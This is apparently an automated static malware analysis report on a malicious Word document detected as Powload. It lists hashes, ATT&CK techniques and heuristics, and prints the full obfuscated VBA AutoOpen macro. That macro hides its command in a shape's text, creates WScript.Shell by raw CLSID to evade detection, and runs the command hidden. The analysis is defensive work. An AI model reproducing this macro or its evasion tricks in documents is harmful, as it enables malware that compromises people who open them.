Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c441432b6cd2caa6…

MALICIOUS

Office (OLE)

129.2 KB Created: 2018-11-27 21:08:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: 9a3a6a17667f997d1fddd7e578ec6acf SHA-1: c29d316ece4013f6fe4a59424779f01236f0950f SHA-256: c441432b6cd2caa6abc45b2aa35362a87c9134d85a0e27b3587c02aa19be2e7e
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1059.003 Windows Command Shell

The sample contains a VBA macro with an AutoOpen function that leverages the dangerous WScript.Shell COM object. This macro is designed to execute obfuscated commands via cmd.exe, which in turn appears to invoke PowerShell to download and execute a second-stage payload from a series of concatenated URLs. The obfuscated command string is a key indicator of malicious intent.

Heuristics 10

  • ClamAV: Doc.Malware.Powload-6827912-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Powload-6827912-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA instantiates a dangerous COM class by CLSID critical OLE_VBA_GETOBJECT_CLSID_DANGEROUS
    VBA uses GetObject("new:{CLSID}") to instantiate an execution/scripting-capable COM class by its raw CLSID, avoiding the CreateObject ProgID that name-based detection keys on.
    Matched line in script
    Set sTriKPpEu = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + tzYjtW)
   On Error Resume Next
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set sTriKPpEu = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + tzYjtW)
   On Error Resume Next
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6016 bytes
SHA-256: 0ed6b60cad437bf6943637c3a8daafd40264f30952169cf6a3a945ba617d67f3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
86 of 141 identifiers look randomly generated (e.g. 'jkjQbdJDi') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "TMrkPlA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
      Select Case nKCHWu
         Case 314225553
REIvv = Hex(zUhjZC)
            zLERQX = Cos(223964602)
            TRaUEzfE = 121763573
         Case 261518072
NWLPpZiXX = Hex(DqCRzowwq)
            XNSzm = Sqr(223708615 / CSng(181299475 - Cos(281463566 - 125198893) + POvdow + Rnd(258247617 - 319174944)))
            rizKjP = Hex(YCFJhGc)
End Select

   On Error Resume Next
      Select Case zwoNG
         Case 175550103
OjidKi = Hex(ajmBhFp)
            uTjzrzwnw = Cos(34375498)
            wLztpw = 271314414
         Case 2477364
MFwnwdf = Hex(ninjPCD)
            dGjNSsf = Sqr(157609371 / CSng(284911953 - Cos(210719433 - 79748993) + pzCsFLi + Rnd(270457525 - 148455809)))
            BOTSAQRji = Hex(vYLrG)
End Select

   On Error Resume Next
      Select Case jzZDIfY
         Case 195887290
AwWjQ = Hex(ZGvVbBjTo)
            biaFh = Cos(193137214)
            iGfKwiAFk = 58605975
         Case 33648512
rWsDK = Hex(kziYZz)
            ltjzzYbX = Sqr(325855887 / CSng(258592911 - Cos(169270936 - 245164906) + aXuQqtbP + Rnd(320535881 - 260502099)))
            iPlwiQKh = Hex(iNpTHnkd)
End Select

   On Error Resume Next
      Select Case PiKkVEipj
         Case 169513881
mltLbKS = Hex(VOXWEUIM)
            EzAhX = Cos(157456631)
            VifkDSN = 341237409
         Case 288827828
ZBYpn = Hex(fLMir)
            FPNsb = Sqr(240342036 / CSng(216209631 - Cos(164769068 - 325076552) + NOptfh + Rnd(238957300 - 18318955)))
            XiwvH = Hex(NQvUVKpm)
End Select

Set PXLqdSS = Shapes("wwUiYjcaM")
   On Error Resume Next
      Select Case jVuRGc
         Case 62975910
OhFPhXiJ = Hex(CzLPSSjn)
            AzPhiER = Cos(62599017)
            vVsSjNXwH = 206288411
         Case 19593862
qrMhqCuDQ = Hex(LdfcL)
            jwBwYi = Sqr(230745325 / CSng(259993889 - Cos(315343634 - 240069568) + wrVKEk + Rnd(208270630 - 62137329)))
            DArBW = Hex(csKOn)
End Select

bJiwwc = "" + PJdEX + ZlGow + PXLqdSS.TextFrame.TextRange.Text + sHtzSFOj + bSCqdhzG
   On Error Resume Next
      Select Case SIPDRL
         Case 3167370
crkhNzpf = Hex(YosbO)
            NAojTi = Cos(67262469)
            uqauE = 185140920
         Case 247657338
DrdOSll = Hex(ANzSlK)
            nEvCD = Sqr(187028664 / CSng(187816416 - Cos(218873350 - 15570860) + mprnEl + Rnd(25299906 - 104988147)))
            lAzzu = Hex(OXjFkrT)
End Select

   On Error Resume Next
      Select Case ncqplKbzk
         Case 47971642
uohiJWNpl = Hex(jzPUYPQ)
            ClvTLF = Cos(335759634)
            khvhCdW = 212062023
         Case 259993361
cINfBqj = Hex(HdaUMu)
            fiVCac = Sqr(188008983 / CSng(233023080 - Cos(222599312 - 251266400) + tDbCdjhB + Rnd(257995448 - 53173411)))
            WkFjv = Hex(VAPUAVWvA)
End Select

   On Error Resume Next
      Select Case OYuCKE
         Case 179509213
dfDrP = Hex(wKOZwJ)
            PXsNbsaIA = Cos(112736752)
            FSkEZV = 227034674
         Case 233707858
pzMvubAt = Hex(vPDiOzBCp)
            MAucOomz = Sqr(182348749 / CSng(289622094 - Cos(242573929 - 294252594) + MXKPLzSAs + Rnd(215963956 - 75948399)))
            BKWDk = Hex(XfzXk)
End Select

   On Error Resume Next
      Select Case YVqZM
         Case 64247105
AtWwwC = Hex(mjhJc)
            aTrIWGwT = Cos(270714333)
            Qhrch = 266697035
         Case 176200267
szQzhSs = Hex(LoibCJsG)
            EiiDFNw = Sqr(72590518 / CSng(246730006 - Cos(43646092 - 117618199) + ZVwFL + Rnd(110925152 - 192901146)))
            amYQmv = Hex(kNFHo)
End Select

Set sTriKPpEu = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + tzYjtW)
   On Error Resume Next
      Select Case LVKwXLD
         Case 328464014
zYlSCUUD = Hex(XoobltXt)
            zPJXN = Cos(170814519)
            wSYZFCFFW = 314369590
         Case 316532397
JGYwrzr = Hex(jkjQbdJDi)
            ZLLTGBv = Sqr(200172338 / CSng(200427274 - Cos(136924903 - 232792512) + EpzzjvaR + Rnd(120748192 - 157310558)))
            iSLiHwb = Hex(BXwVkMqAX)
End Select

Const RkXlasdp = 0
   On Error Resume Next
      Select Case njENW
         Case 311023780
qVqRGRWMO = Hex(jcuEOXCL)
            RwYcka = Cos(66799475)
            vfOaTTFI = 216999679
         Case 61465550
UVGrIzkOV = Hex(ZJCCCdzRs)
            qwiaj = Sqr(151900 / CSng(94634990 - Cos(89436676 - 60511179) + vhNFqwKG + Rnd(107251246 - 206791666)))
            LolWW = Hex(YQpFro)
End Select

   On Error Resume Next
      Select Case zaZEpYOS
         Case 223804275
jtfWj = Hex(XiWCYjfia)
            ZicjQu = Cos(41803654)
            iuXTbl = 106620847
         Case 219313503
WqsmVSpw = Hex(oCOOv)
            dczfpBppm = Sqr(96221498 / CSng(261634855 - Cos(266057239 - 122579271) + Clmrz + Rnd(56286925 - 263473732)))
            aEQnjOFD = Hex(Uzcpz)
End Select

   On Error Resume Next
      Select Case oUukq
         Case 35752782
PjSva = Hex(XaGoBTZB)
            zsCiO = Cos(202743273)
            JWzKFUzSC = 12630467
         Case 274492885
zYkCAjINi = Hex(fLwFlUCh)
            qZQXvz = Sqr(105082529 / CSng(214283243 - Cos(23509120 - 179741470) + mzdZCdPp + Rnd(15470181 - 309503076)))
            RPbqm = Hex(AiiQUp)
End Select

sTriKPpEu.Run# bJiwwc, RkXlasdp
   On Error Resume Next
      Select Case aPMLWNp
         Case 182459235
bQpbAUtZm = Hex(wzlzutpwt)
            bYzOaj = Cos(158523348)
            lzWOQLY = 3831224
         Case 143716721
wnDEU = Hex(kipSRS)
            QwLWCRaA = Sqr(108130003 / CSng(318683607 - Cos(103459751 - 263237476) + ajiZYuXl + Rnd(4674533 - 39131188)))
            XEoivu = Hex(LTPGS)
End Select

End Sub

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